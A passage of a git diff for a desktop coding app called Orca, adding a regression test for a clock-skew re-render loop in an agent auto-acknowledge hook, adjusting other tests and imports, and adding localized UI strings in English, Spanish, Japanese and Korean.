+
+// Why: the hook re-scans on every store write and advances its diff refs to the PRE-write snapshot,
+// so its ref guard never suppresses the rescan an ack triggers. It only terminated because
+// acknowledgeAgents returned the same object within one millisecond — a scan costing >=1ms with a
+// turn stamped ahead of the local clock (SSH/remote host) re-acked forever (React #185).
+
+const TAB_ID = 'tab-main'
+const LEAF_ID = '11111111-1111-4111-8111-111111111111'
+const PANE_KEY = makePaneKey(TAB_ID, LEAF_ID)
+const NOW = new Date('2026-06-02T12:00:00Z').getTime()
+const SKEW_MS = 90_000
+const ACK_CALL_CEILING = 20
+
+function seedFutureStampedTurn(stateStartedAt: number): void {
+  const entry: AgentStatusEntry = {
+    state: 'done',
+    prompt: 'remote turn',
+    updatedAt: stateStartedAt,
+    stateStartedAt,
+    agentType: 'codex',
+    paneKey: PANE_KEY,
+    stateHistory: []
+  }
+  useAppStore.setState({
+    activeView: 'terminal',
+    activeTabId: TAB_ID,
+    activeWorktreeId: 'wt-1',
+    activeTabIdByWorktree: {},
+    tabsByWorktree: { 'wt-1': [makeTab({ id: TAB_ID, worktreeId: 'wt-1' })] },
+    terminalLayoutsByTabId: {
+      [TAB_ID]: { root: null, activeLeafId: LEAF_ID, expandedLeafId: null }
+    },
+    agentStatusByPaneKey: { [PANE_KEY]: entry },
+    retainedAgentsByPaneKey: {},
+    acknowledgedAgentsByPaneKey: {},
+    unreadAgentCompletionPanes: {},
+    unreadTerminalTabs: {}
+  })
+}
+
+/** Wraps the real action, then circuit-breaks so a regression fails the assertion instead of hanging. */
+function instrumentAcknowledgeAgents(): string[][] {
+  const real = useAppStore.getState().acknowledgeAgents
+  const calls: string[][] = []
+  useAppStore.setState({
+    acknowledgeAgents: (paneKeys: string[]) => {
+      calls.push(paneKeys)
+      if (calls.length > ACK_CALL_CEILING) {
+        return
+      }
+      real(paneKeys)
+    }
+  })
+  return calls
+}
+
+describe('useAutoAckViewedAgent — clock-skewed execution host', () => {
+  let realAcknowledgeAgents: (paneKeys: string[]) => void
+
+  beforeEach(() => {
+    realAcknowledgeAgents = useAppStore.getState().acknowledgeAgents
+    vi.spyOn(document, 'hasFocus').mockReturnValue(true)
+    // Why a ticking clock: the loop self-terminated only while Date.now() stayed on one millisecond.
+    let clock = NOW
+    vi.spyOn(Date, 'now').mockImplementation(() => clock++)
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+    useAppStore.setState({ acknowledgeAgents: realAcknowledgeAgents })
+  })
+
+  it('acks a turn stamped ahead of the local clock exactly once', () => {
+    seedFutureStampedTurn(NOW + SKEW_MS)
+    const calls = instrumentAcknowledgeAgents()
+
+    renderHook(() => useAutoAckViewedAgent(false))
+
+    expect(calls).toEqual([[PANE_KEY]])
+    const ackAt = useAppStore.getState().acknowledgedAgentsByPaneKey[PANE_KEY] ?? 0
+    expect(ackAt).toBeGreaterThanOrEqual(NOW + SKEW_MS)
+  })
+
+  it('leaves nothing to re-scan for a future-stamped turn on the next store write', () => {
+    seedFutureStampedTurn(NOW + SKEW_MS)
+    renderHook(() => useAutoAckViewedAgent(false))
+
+    const calls = instrumentAcknowledgeAgents()
+    useAppStore.getState().markTerminalTabUnread('tab-unrelated')
+
+    expect(calls).toEqual([])
+  })
+
+  it('still acks a normally stamped turn once', () => {
+    seedFutureStampedTurn(NOW - 5_000)
+    const calls = instrumentAcknowledgeAgents()
+
+    renderHook(() => useAutoAckViewedAgent(false))
+
+    expect(calls).toEqual([[PANE_KEY]])
+  })
+})
diff --git a/src/renderer/src/hooks/useComposerState.integration.test.ts b/src/renderer/src/hooks/useComposerState.integration.test.ts
index 2119e99f860..c82e1a118c6 100644
--- a/src/renderer/src/hooks/useComposerState.integration.test.ts
+++ b/src/renderer/src/hooks/useComposerState.integration.test.ts
@@ -1,6 +1,6 @@
 // @vitest-environment happy-dom
 
-import { renderHook } from '@testing-library/react'
+import { act, renderHook } from '@testing-library/react'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { useAppStore } from '@/store'
 import { useComposerState } from './useComposerState'
@@ -31,7 +31,7 @@ afterEach(() => {
 })
 
 describe('useComposerState integrated lifecycle', () => {
-  it('composes two live composers and releases each native drop listener on unmount', () => {
+  it('composes two live composers and exposes the parent-worktree control state', () => {
     useAppStore.setState({
       repos: [],
       projects: [],
@@ -57,6 +57,10 @@ describe('useComposerState integrated lifecycle', () => {
 
     expect(first.result.current.cardProps.name).toBe('first')
     expect(second.result.current.cardProps.name).toBe('second')
+    expect(first.result.current.cardProps.parentWorktreeId).toBeNull()
+    expect(first.result.current.cardProps.onParentWorktreeIdChange).toBeTypeOf('function')
+    act(() => first.result.current.cardProps.onParentWorktreeIdChange('repo-1::/parent'))
+    expect(first.result.current.cardProps.parentWorktreeId).toBe('repo-1::/parent')
     expect(window.api.ui.onFileDrop).toHaveBeenCalledTimes(2)
 
     second.unmount()
diff --git a/src/renderer/src/hooks/useIpcEvents-runtime-environment-selectors.test.ts b/src/renderer/src/hooks/useIpcEvents-runtime-environment-selectors.test.ts
index c47487dd57e..ec150ac1099 100644
--- a/src/renderer/src/hooks/useIpcEvents-runtime-environment-selectors.test.ts
+++ b/src/renderer/src/hooks/useIpcEvents-runtime-environment-selectors.test.ts
@@ -303,6 +303,7 @@ describe('createRuntimeEnvironmentStoreSyncSubscriber', () => {
 describe('invalidateRuntimeClientEventReplay', () => {
   it('explicitly syncs an advanced SSH generation when stale publication is a no-op and hydration fails', async () => {
     const sshStateReference = new Map()
+    const refreshRuntimeStatus = vi.fn()
     const requestProjectRefresh = vi.fn()
     const markEnvironmentSshStateStale = vi.fn()
     const sync = vi.fn()
@@ -312,6 +313,7 @@ describe('invalidateRuntimeClientEventReplay', () => {
 
     invalidateRuntimeClientEventReplay({
       getSshStateReference: () => sshStateReference,
+      refreshRuntimeStatus,
       requestProjectRefresh,
       markEnvironmentSshStateStale,
       hydrateEnvironmentSshState,
@@ -319,6 +321,7 @@ describe('invalidateRuntimeClientEventReplay', () => {
     })
     await Promise.resolve()
 
+    expect(refreshRuntimeStatus).toHaveBeenCalledOnce()
     expect(requestProjectRefresh).toHaveBeenCalledOnce()
     expect(markEnvironmentSshStateStale).toHaveBeenCalledOnce()
     expect(sync).toHaveBeenCalledOnce()
@@ -331,6 +334,7 @@ describe('invalidateRuntimeClientEventReplay', () => {
 
     invalidateRuntimeClientEventReplay({
       getSshStateReference: () => sshStateReference,
+      refreshRuntimeStatus: vi.fn(),
       requestProjectRefresh: vi.fn(),
       markEnvironmentSshStateStale: () => {
         sshStateReference = new Map()
diff --git a/src/renderer/src/hooks/useIssueMetadata.test.tsx b/src/renderer/src/hooks/useIssueMetadata.test.tsx
index c633d543daa..97f6b3d6b6c 100644
--- a/src/renderer/src/hooks/useIssueMetadata.test.tsx
+++ b/src/renderer/src/hooks/useIssueMetadata.test.tsx
@@ -21,7 +21,7 @@ const linearMocks = vi.hoisted(() => ({
 const runtimeMocks = vi.hoisted(() => ({ callRuntimeRpc: vi.fn() }))
 const githubMocks = vi.hoisted(() => ({ listLabels: vi.fn() }))
 
-vi.mock('@/runtime/runtime-linear-client', () => ({
+vi.mock('@/runtime/runtime-linear-project-client', () => ({
   linearTeamStates: linearMocks.linearTeamStates,
   linearTeamLabels: linearMocks.linearTeamLabels,
   linearTeamMembers: linearMocks.linearTeamMembers
diff --git a/src/renderer/src/hooks/useIssueMetadata.ts b/src/renderer/src/hooks/useIssueMetadata.ts
index 3dc10686323..a7e55b80700 100644
--- a/src/renderer/src/hooks/useIssueMetadata.ts
+++ b/src/renderer/src/hooks/useIssueMetadata.ts
@@ -3,9 +3,9 @@ import { callRuntimeRpc, getActiveRuntimeTarget } from '@/runtime/runtime-rpc-cl
 import {
   linearTeamLabels,
   linearTeamMembers,
-  linearTeamStates,
-  type RuntimeLinearSettings
-} from '@/runtime/runtime-linear-client'
+  linearTeamStates
+} from '@/runtime/runtime-linear-project-client'
+import type { RuntimeLinearSettings } from '@/runtime/runtime-linear-client'
 import type { GitHubAssignableUser } from '../../../shared/github/pull-request-types'
 import type {
   LinearLabel,
diff --git a/src/renderer/src/i18n/locales/en.json b/src/renderer/src/i18n/locales/en.json
index 82048b54e97..7cb56a07ecc 100644
--- a/src/renderer/src/i18n/locales/en.json
+++ b/src/renderer/src/i18n/locales/en.json
@@ -448,7 +448,10 @@
                 }
               }
             }
-          }
+          },
+          "createdWithoutParentNesting": "Created without nesting under \"{{value0}}\"",
+          "createdWithoutParentNestingUnnamed": "Created without nesting under the selected parent",
+          "createdWithoutParentNestingDetail": "The parent workspace was no longer available. You can set it from the workspace menu."
         },
         "repos": {
           "2975400634": "Update Orca server to open non-Git folders on this runtime.",
@@ -925,6 +928,11 @@
       },
       "ephemeralVmWorktreeCreation": {
         "sparseCheckoutUnsupported": "Provisioned-root recipes do not support sparse checkout."
+      },
+      "file": {
+        "preview": {
+          "pairedOutsideWorktree": "Files outside the workspace can't be previewed on a paired server yet."
+        }
       }
     },
     "hooks": {
@@ -1083,6 +1091,13 @@
         "description": "Running Orca terminals are hosted by a daemon started by a previous Orca installation. macOS may not apply Orca’s Accessibility, Automation, or protected-file permissions to them. Restart the daemon from Manage Sessions to restore access. This will close all running Orca terminals.",
         "openManageSessions": "Open Manage Sessions",
         "dismiss": "Dismiss"
+      },
+      "ipc": {
+        "events": {
+          "browserStateIpcBridge": {
+            "docPreviewLinkFailed": "Could not open this link in Orca Browser."
+          }
+        }
       }
     },
     "components": {
@@ -3072,7 +3087,9 @@
             "copyLink": "Copy link",
             "copied": "Copied",
             "copiedLink": "Copied link",
-            "copyLinkFailed": "Failed to copy link"
+            "copyLinkFailed": "Failed to copy link",
+            "downloadOpenWithDefaultApp": "Download & open with default app",
+            "downloadOpenFailed": "Failed to download '{{value0}}'."
           },
           "TerminalSessionStateSaveFailureDialog": {
             "6bee0c8f17": "Open Disk Space Analyzer",
@@ -3523,8 +3540,8 @@
             "81cd37af99": "Main",
             "fa6d36758d": "Kill session {{value0}}",
             "b8f4a2c1d0e3": "{{value0}} orphans",
-            "c7e3b1a0d9f2": "Kill {{value0}} orphan terminal",
-            "d8f4c2b1e0a3": "Kill {{value0}} orphan terminals",
+            "c7e3b1a0d9f2": "End {{value0}} orphan terminal",
+            "d8f4c2b1e0a3": "End {{value0}} orphan terminals",
             "e9a5d3c2b1f0": "Kill {{value0}}?"
           },
           "SshStatusSegment": {
@@ -11469,6 +11486,9 @@
         },
         "shortcutDefinitionCatalog": {
           "missionControlConflict": "Blocked by Mission Control. Remap here or change it in System Settings."
+        },
+        "NativeChatSupportedAgents": {
+          "label": "Supported agents:"
         }
       },
       "right": {
@@ -11985,7 +12005,6 @@
             "a4e93c21d7": "Current branch: {{value0}}",
             "c7d4e2f801": "Change base ref: {{value0}}",
             "f3a1b8c204": "upstream",
-            "createPrIntentEmptyGeneratedBody": "Generated review details did not include a description. Retry Create PR.",
             "createPrIntentGenerateDetailsFailed": "Could not generate review details. Retry Create PR."
           },
           "SourceControlAgentActionDialog": {
@@ -14675,14 +14694,16 @@
           "d5a8c2f1b9": "Start the default AI agent to fix this check",
           "e2b4d7c8a1": "Choose an agent for this check",
           "f1c9e3a6d4": "Choose agent to fix check",
-          "actionRequired": "Action required"
+          "actionRequired": "Action required",
+          "copyOutput": "Copy output"
         },
         "CheckRunJobs": {
           "1c0a4d7e02": "succeeded",
           "2d3b8f1a55": "skipped",
           "3e6c9a2b71": "pending",
           "4f7d0c3e88": "steps failed",
-          "5a8e1d4f23": " · "
+          "5a8e1d4f23": " · ",
+          "copy": "Copy jobs"
         },
         "check": {
           "run": {
@@ -14762,6 +14783,41 @@
           "insertColumnRight": "Insert column right",
           "deleteRow": "Delete row",
           "deleteColumn": "Delete column"
+        },
+        "CheckRunAnnotations": {
+          "copy": "Copy annotations"
+        },
+        "CheckRunCopyButton": {
+          "copied": "Copied",
+          "failed": "Couldn't copy",
+          "empty": "Nothing to copy"
+        },
+        "HtmlDocPreview": {
+          "documentTooLargePanel": "This document is too large to preview. Open it in the editor instead.",
+          "documentUnreadablePanel": "Orca could not read this file from the workspace.",
+          "multipleAssetsFailedNotice": "{{count}} files in this document could not be loaded.",
+          "assetTooLargeNotice": "{{path}} is too large to load in this preview.",
+          "assetUnsupportedNotice": "This workspace cannot send {{path}} to a preview.",
+          "assetUnreadableNotice": "Orca could not read {{path}} from the workspace.",
+          "previewAriaLabel": "HTML preview",
+          "reloadPreviewControl": "Reload preview",
+          "previewUnavailableTitle": "Preview unavailable",
+          "copyDocumentPathControl": "Copy file path",
+          "documentPathCopied": "Copied",
+          "workspaceFileChipLabel": "Workspace file",
+          "previewMenuControl": "Preview options",
+          "openSourceControl": "Open source file",
+          "openExternallyControl": "Open with default app",
+          "copyDocumentRelativePathControl": "Copy relative path",
+          "openExternallyUnknownHostError": "Can't open '{{value0}}': the host that owns it is no longer known.",
+          "downloadBlockedNotice": "Downloads are disabled in document previews.",
+          "directoryAuthorizationFailed": "Could not allow access to this directory.",
+          "directoryAccessRequest": "This preview wants to read files in {{path}}.",
+          "dismissAccessRequest": "Dismiss",
+          "allowDirectory": "Allow folder",
+          "directoryAccessRequestOverflow": "{{folders}}, and {{count}} more",
+          "directoryAccessRequestMultiple": "This preview wants to read files in {{folders}}.",
+          "allowDirectories": "Allow {{count}} folders"
         }
       },
       "diff": {
@@ -15081,7 +15137,8 @@
             "6e776f9ef9": "Download failed",
             "756bfc25c9": "Open",
             "09a9489aa5": "Show",
-            "2a4c4b8e1f": "Copy"
+            "2a4c4b8e1f": "Copy",
+            "fileUrlUnsupported": "This browser tab cannot open local files. Use \"Open Preview to the Side\" on the file instead."
           },
           "BrowserToolbarMenu": {
             "429ef481f9": "Cancel",
@@ -15204,6 +15261,7 @@
           "showMore": "Show more"
         },
         "AutomationDetail": {
+          "host": "Host",
           "007c8ad874": "Prompt",
           "a1d52c2189": "Usage coverage",
           "449fc83bf7": "Tokens",
@@ -15372,6 +15430,9 @@
           "b11170a008": "Failed to save automation.",
           "2a20596d6b": "Automation saved.",
           "244727e655": "Automation updated.",
+          "moved": "Automation moved to {host}.",
+          "moveOriginalKept": "Created on {host}, but the original could not be deleted. Remove it on the old host.",
+          "moveOriginalUnverified": "Created on {host}, but the original deletion could not be verified. Check the old host before retrying.",
           "77b81bc4ac": "Hermes automation created.",
           "08efc3ae12": "Hermes automation updated.",
           "e431bb85d4": "Choose a workspace on the same host as this Hermes automation.",
@@ -15677,16 +15738,17 @@
           "occurrences": "{{times}} times"
         },
         "createDestination": {
-          "label": "Create on",
+          "label": "Host",
           "placeholder": "Select a host",
           "storedOn": "Stored and scheduled by {authority}.",
-          "unselected": "Choose the host this automation will be created on.",
+          "unselected": "Choose the host that stores and schedules this automation.",
           "orphan": "Automations with no host cannot hold new ones. Choose a host to create this automation on.",
           "unavailable": "That host cannot hold a new automation yet. Choose another host to create this one on.",
           "stale": "{host} changed while this form was open. Choose it again before saving.",
           "projectMismatch": "That project is not on {host}. Choose a project on that host, or another host.",
           "noProjects": "No projects are set up on {host}. Add one there, or choose another host.",
-          "updateRequired": "Update the Orca server on {hosts} to create automations there."
+          "updateRequired": "Update the Orca server on {hosts} to store automations there.",
+          "move": "Saving creates this automation on {host} and deletes the original and its run history."
         }
       },
       "agent": {
@@ -16292,6 +16354,20 @@
         "remoteLabel": "Browsers on {{value0}}",
         "clientNoteLocalStorage": "Imports read this device’s browsers. Cookies are stored locally.",
         "remoteNoteRemoteStorage": "Imports read browsers on {{value0}}. Cookies are stored on that machine, and a permission prompt may appear on its screen."
+      },
+      "ComposerParentWorktreePicker": {
+        "label": "Parent worktree",
+        "noParent": "No parent",
+        "description": "Nests this workspace under another in the sidebar. Does not change the base branch.",
+        "searchPlaceholder": "Search workspaces...",
+        "noMatches": "No matches."
+      },
+      "browserPane": {
+        "workspaceDoc": {
+          "externalLinkTitle": "Open link to {{host}}?",
+          "externalLinkConfirm": "Open link",
+          "externalLinkCancel": "Cancel"
+        }
       }
     },
     "i18n": {
diff --git a/src/renderer/src/i18n/locales/es.json b/src/renderer/src/i18n/locales/es.json
index d904737e1e8..8e73672554c 100644
--- a/src/renderer/src/i18n/locales/es.json
+++ b/src/renderer/src/i18n/locales/es.json
@@ -263,7 +263,10 @@
           "3b57982bf6": "Git no pudo eliminar de forma segura la rama \"{{value0}}\" después de eliminar el espacio de trabajo \"{{value1}}\", así que Orca la conservó para evitar perder commits locales.",
           "81f13f48d2": "Git no pudo eliminar de forma segura la rama \"{{value0}}\" después de eliminar el worktree \"{{value1}}\", así que Orca la conservó para evitar perder commits locales.",
           "runtimeScopeForbiddenTitle": "Esta conexión tiene acceso limitado (móvil)",
-          "runtimeScopeForbiddenDescription": "Los espacios de trabajo no están disponibles con un emparejamiento de acceso móvil. Vuelve a conectarte con el enlace del navegador desde Ajustes → Servidores remotos de Orca → Comparte este servidor Orca."
+          "runtimeScopeForbiddenDescription": "Los espacios de trabajo no están disponibles con un emparejamiento de acceso móvil. Vuelve a conectarte con el enlace del navegador desde Ajustes → Servidores remotos de Orca → Comparte este servidor Orca.",
+          "createdWithoutParentNesting": "Creado sin anidarlo bajo \"{{value0}}\"",
+          "createdWithoutParentNestingUnnamed": "Creado sin anidarlo bajo el worktree padre seleccionado",
+          "createdWithoutParentNestingDetail": "El espacio de trabajo padre ya no estaba disponible. Puedes establecerlo desde el menú del espacio de trabajo."
         },
         "repos": {
           "2975400634": "Actualiza el servidor Orca para abrir carpetas que no sean Git en este host.",
@@ -10782,7 +10785,6 @@
             "a4e93c21d7": "Rama actual: {{value0}}",
             "c7d4e2f801": "Cambiar ref base: {{value0}}",
             "f3a1b8c204": "upstream",
-            "createPrIntentEmptyGeneratedBody": "Los detalles de revisión generados no incluyeron una descripción. Reintentar Crear PR.",
             "createPrIntentGenerateDetailsFailed": "No se pudieron generar los detalles de revisión. Reintentar Crear PR."
           },
           "SourceControlAgentActionDialog": {
@@ -13728,6 +13730,7 @@
           "showMore": "Mostrar más"
         },
         "AutomationDetail": {
+          "host": "Host",
           "007c8ad874": "Inmediato",
           "a1d52c2189": "Cobertura de uso",
           "449fc83bf7": "Fichas",
@@ -13891,6 +13894,9 @@
           "b11170a008": "No se pudo guardar la automatización.",
           "2a20596d6b": "Automatización guardada.",
           "244727e655": "Automatización actualizada.",
+          "moved": "Automatización movida a {host}.",
+          "moveOriginalKept": "Se creó en {host}, pero no se pudo eliminar la original. Elimínela en el host anterior.",
+          "moveOriginalUnverified": "Se creó en {host}, pero no se pudo verificar la eliminación de la original. Compruebe el host anterior antes de volver a intentarlo.",
           "77b81bc4ac": "Se crea la automatización de Hermes.",
           "08efc3ae12": "Automatización Hermes actualizada.",
           "e431bb85d4": "Elija un espacio de trabajo en el mismo host que esta automatización de Hermes.",
@@ -14087,6 +14093,19 @@
           "filters": "Filtros",
           "clear": "Limpiar filtros",
           "removeFilter": "Eliminar filtro de {{value0}}"
+        },
+        "createDestination": {
+          "label": "Host",
+          "placeholder": "Seleccionar un host",
+          "storedOn": "Almacenada y programada por {authority}.",
+          "unselected": "Elija el host que almacena y programa esta automatización.",
+          "orphan": "Las automatizaciones sin host no pueden alojar otras nuevas. Elija un host en el que crear esta automatización.",
+          "unavailable": "Ese host todavía no puede alojar una nueva automatización. Elija otro host para crear esta.",
+          "stale": "{host} cambió mientras este formulario estaba abierto. Elíjalo de nuevo antes de guardar.",
+          "projectMismatch": "Ese proyecto no está en {host}. Elija un proyecto en ese host, u otro host.",
+          "noProjects": "No hay proyectos configurados en {host}. Agregue uno allí o elija otro host.",
+          "updateRequired": "Actualice el servidor de Orca en {hosts} para almacenar automatizaciones allí.",
+          "move": "Al guardar se crea esta automatización en {host} y se eliminan la original y su historial de ejecuciones."
         }
       },
       "agent": {
@@ -14437,6 +14456,13 @@
           "deleteDescription": "“{{name}}” ya no estará disponible en su enlace público.",
           "delete": "Eliminar"
         }
+      },
+      "ComposerParentWorktreePicker": {
+        "label": "Worktree padre",
+        "noParent": "Sin worktree padre",
+        "description": "Anida este espacio de trabajo bajo otro en la barra lateral. No cambia la rama base.",
+        "searchPlaceholder": "Buscar espacios de trabajo...",
+        "noMatches": "No hay coincidencias."
       }
     },
     "i18n": {
diff --git a/src/renderer/src/i18n/locales/ja.json b/src/renderer/src/i18n/locales/ja.json
index bf7a40ccbed..c9ec69f8e46 100644
--- a/src/renderer/src/i18n/locales/ja.json
+++ b/src/renderer/src/i18n/locales/ja.json
@@ -263,7 +263,10 @@
           "3b57982bf6": "ワークスペース\"{{value1}}\"を削除した後、Git はブランチ\"{{value0}}\"を安全に削除できなかったため、Orca はローカルコミットを失わないように保持しました。",
           "81f13f48d2": "ワークツリー\"{{value1}}\"を削除した後、Git はブランチ\"{{value0}}\"を安全に削除できなかったため、Orca はローカルコミットを失わないように保持しました。",
           "runtimeScopeForbiddenTitle": "この接続は制限付き（モバイル）アクセスです",
-          "runtimeScopeForbiddenDescription": "モバイル向けペアリングではワークスペースを使用できません。[設定] → [リモート Orca サーバー] → [この Orca サーバーを共有する] から、ブラウザ用リンクで再接続してください。"
+          "runtimeScopeForbiddenDescription": "モバイル向けペアリングではワークスペースを使用できません。[設定] → [リモート Orca サーバー] → [この Orca サーバーを共有する] から、ブラウザ用リンクで再接続してください。",
+          "createdWithoutParentNesting": "「{{value0}}」の配下にネストせずに作成しました",
+          "createdWithoutParentNestingUnnamed": "選択した親ワークツリーの配下にネストせずに作成しました",
+          "createdWithoutParentNestingDetail": "親ワークスペースは利用できなくなりました。ワークスペースメニューから設定できます。"
         },
         "repos": {
           "2975400634": "Orca サーバーを更新して、このランタイムで Git 以外のフォルダーを開くようにします。",
@@ -10782,7 +10785,6 @@
             "a4e93c21d7": "現在のブランチ: {{value0}}",
             "c7d4e2f801": "ベース ref を変更: {{value0}}",
             "f3a1b8c204": "upstream",
-            "createPrIntentEmptyGeneratedBody": "生成されたレビューの詳細に説明が含まれていませんでした。PR の作成を再試行してください。",
             "createPrIntentGenerateDetailsFailed": "レビューの詳細を生成できませんでした。PR の作成を再試行してください。"
           },
           "SourceControlAgentActionDialog": {
@@ -13728,6 +13730,7 @@
           "showMore": "さらに表示"
         },
         "AutomationDetail": {
+          "host": "ホスト",
           "007c8ad874": "プロンプト",
           "a1d52c2189": "使用範囲",
           "449fc83bf7": "トークン",
@@ -13891,6 +13894,9 @@
           "b11170a008": "オートメーションを保存できませんでした。",
           "2a20596d6b": "オートメーションが保存されました。",
           "244727e655": "自動化が更新されました。",
+          "moved": "自動化を {host} に移動しました。",
+          "moveOriginalKept": "{host} に作成しましたが、元の自動化を削除できませんでした。元のホストで削除してください。",
+          "moveOriginalUnverified": "{host} に作成しましたが、元の自動化の削除を確認できませんでした。再試行する前に元のホストを確認してください。",
           "77b81bc4ac": "Hermes オートメーションが作成されました。",
           "08efc3ae12": "Hermes オートメーションが更新されました。",
           "e431bb85d4": "この Hermes オートメーションと同じホスト上のワークスペースを選択します。",
@@ -14087,6 +14093,19 @@
           "filters": "フィルター",
           "clear": "フィルターをクリア",
           "removeFilter": "{{value0}} フィルターを解除"
+        },
+        "createDestination": {
+          "label": "ホスト",
+          "placeholder": "ホストを選択",
+          "storedOn": "{authority} が保存してスケジュールします。",
+          "unselected": "この自動化を保存してスケジュールするホストを選択します。",
+          "orphan": "ホストのない自動化は新しい自動化を保持できません。この自動化を作成するホストを選択してください。",
+          "unavailable": "そのホストはまだ新しい自動化を保持できません。これを作成する別のホストを選択してください。",
+          "stale": "このフォームを開いている間に {host} が変更されました。保存する前にもう一度選択してください。",
+          "projectMismatch": "そのプロジェクトは {host} にありません。そのホスト上のプロジェクト、または別のホストを選択してください。",
+          "noProjects": "{host} にはプロジェクトが設定されていません。そこに追加するか、別のホストを選択してください。",
+          "updateRequired": "{hosts} の Orca サーバーを更新すると、そこに自動化を保存できます。",
+          "move": "保存すると、この自動化は {host} に作成され、元の自動化と実行履歴は削除されます。"
         }
       },
       "agent": {
@@ -14437,6 +14456,13 @@
           "deleteDescription": "「{{name}}」は公開リンクで利用できなくなります。",
           "delete": "削除"
         }
+      },
+      "ComposerParentWorktreePicker": {
+        "label": "親ワークツリー",
+        "noParent": "親なし",
+        "description": "このワークスペースをサイドバー内の別のワークスペースの配下にネストします。ベースブランチは変更されません。",
+        "searchPlaceholder": "ワークスペースを検索...",
+        "noMatches": "一致する項目がありません。"
       }
     },
     "i18n": {
diff --git a/src/renderer/src/i18n/locales/ko.json b/src/renderer/src/i18n/locales/ko.json
index 61702abb0fe..3f75e38e999 100644
--- a/src/renderer/src/i18n/locales/ko.json
+++ b/src/renderer/src/i18n/locales/ko.json
@@ -266,7 +266,10 @@
           "3b57982bf6": "\"{{value1}}\" 워크스페이스를 삭제한 후 Git이 \"{{value0}}\" 브랜치를 안전하게 삭제할 수 없어 Orca가 로컬 커밋 손실을 방지하기 위해 유지했습니다.",
           "81f13f48d2": "\"{{value1}}\" 워크트리를 삭제한 후 Git이 \"{{value0}}\" 브랜치를 안전하게 삭제할 수 없어 Orca가 로컬 커밋 손실을 방지하기 위해 유지했습니다.",
           "runtimeScopeForbiddenTitle": "이 연결은 제한된(모바일) 액세스입니다",
-          "runtimeScopeForbiddenDescription": "모바일 범위 페어링에서는 워크스페이스를 사용할 수 없습니다. 설정 → 원격 Orca 서버 → 이 Orca 서버 공유에서 브라우저 액세스 링크로 다시 연결하세요."
+          "runtimeScopeForbiddenDescription": "모바일 범위 페어링에서는 워크스페이스를 사용할 수 없습니다. 설정 → 원격 Orca 서버 → 이 Orca 서버 공유에서 브라우저 액세스 링크로 다시 연결하세요.",
+          "createdWithoutParentNesting": "\"{{value0}}\" 아래에 중첩하지 않고 생성했습니다",
+          "createdWithoutParentNestingUnnamed": "선택한 상위 워크트리 아래에 중첩하지 않고 생성했습니다",
+          "createdWithoutParentNestingDetail": "상위 워크스페이스를 더 이상 사용할 수 없습니다. 워크스페이스 메뉴에서 설정할 수 있습니다."
         },
         "repos": {
           "2975400634": "이 런타임에서 Git이 아닌 폴더를 열려면 Orca 서버를 업데이트하세요.",
@@ -3908,9 +3911,7 @@
           "searchLinks": "링크 검색",
           "deleteSkills": "스킬 삭제…"
         },
-        "SkillShareSelectionControls": {
-          "01c5a15e02": "스킬 공유"
-        },
+        "SkillShareSelectionControls": { "01c5a15e02": "스킬 공유" },
         "SkillRow": {
           "updatedUnknown": "날짜 없음",
           "pathCopied": "경로 복사됨",
@@ -3920,17 +3921,13 @@
           "viewDetails": "세부 정보 보기",
           "deleteSkill": "삭제…"
         },
-        "SkillsList": {
-          "listLabel": "스킬"
-        },
+        "SkillsList": { "listLabel": "스킬" },
         "sourceStatus": {
           "missing": "폴더를 찾을 수 없음",
           "remoteRepo": "원격 리포지토리 — 검색 안 됨",
           "unavailable": "검색 안 됨"
         },
-        "sources": {
-          "heading": "스킬 폴더"
-        },
+        "sources": { "heading": "스킬 폴더" },
         "sourceKind": {
           "home": "홈",
           "workspace": "워크스페이스",
@@ -3952,10 +3949,7 @@
           "linkOne": "링크 {{count}}개",
           "linkOther": "링크 {{count}}개"
         },
-        "filter": {
-          "allAgents": "모든 에이전트",
-          "sharedAgent": "공유됨 (.agents)"
-        },
+        "filter": { "allAgents": "모든 에이전트", "sharedAgent": "공유됨 (.agents)" },
         "SkillsSelectionHeader": {
           "exit": "선택 나가기",
           "exitTooltip": "선택 나가기 · Esc",
@@ -3964,11 +3958,7 @@
           "clear": "지우기",
           "deleteTitle": "삭제할 스킬 선택"
         },
-        "SkillDetailDialog": {
-          "agents": "에이전트",
-          "updated": "업데이트됨",
-          "copy": "복사"
-        },
+        "SkillDetailDialog": { "agents": "에이전트", "updated": "업데이트됨", "copy": "복사" },
         "SkillFreshnessNudge": {
           "titleOne": "설치된 Orca 스킬이 오래되었습니다",
           "titleMany": "설치된 Orca 스킬 {{value0}}개가 오래되었습니다",
@@ -10803,7 +10793,6 @@
             "a4e93c21d7": "현재 브랜치: {{value0}}",
             "c7d4e2f801": "베이스 ref 변경: {{value0}}",
             "f3a1b8c204": "upstream",
-            "createPrIntentEmptyGeneratedBody": "생성된 검토 세부 정보에 설명이 포함되지 않았습니다. PR 생성을 다시 시도하세요.",
             "createPrIntentGenerateDetailsFailed": "검토 세부 정보를 생성할 수 없습니다. PR 생성을 다시 시도하세요."
           },
           "SourceControlAgentActionDialog": {
@@ -13760,6 +13749,7 @@
           "showMore": "더 보기"
         },
         "AutomationDetail": {
+          "host": "호스트",
           "007c8ad874": "프롬프트",
           "a1d52c2189": "사용 범위",
           "449fc83bf7": "토큰",
@@ -13923,6 +13913,9 @@
           "b11170a008": "자동화를 저장하지 못했습니다.",
           "2a20596d6b": "자동화가 저장되었습니다.",
           "244727e655": "자동화가 업데이트되었습니다.",
+          "moved": "자동화를 {host}(으)로 이동했습니다.",
+          "moveOriginalKept": "{host}에 생성했지만 원본을 삭제하지 못했습니다. 이전 호스트에서 삭제하세요.",
+          "moveOriginalUnverified": "{host}에 생성했지만 원본 삭제를 확인할 수 없습니다. 다시 시도하기 전에 이전 호스트를 확인하세요.",
           "77b81bc4ac": "Hermes 자동화가 생성되었습니다.",
           "08efc3ae12": "Hermes 자동화가 업데이트되었습니다.",
           "e431bb85d4": "이 Hermes 자동화와 동일한 호스트에서 워크스페이스를 선택하세요.",
@@ -14119,6 +14112,19 @@
           "filters": "필터",
           "clear": "필터 지우기",
           "removeFilter": "{{value0}} 필터 제거"
+        },
+        "createDestination": {
+          "label": "호스트",
+          "placeholder": "호스트 선택",
+          "storedOn": "{authority}에서 저장하고 예약합니다.",
+          "unselected": "이 자동화를 저장하고 예약할 호스트를 선택하세요.",
+          "orphan": "호스트가 없는 자동화는 새 자동화를 보유할 수 없습니다. 이 자동화를 만들 호스트를 선택하세요.",
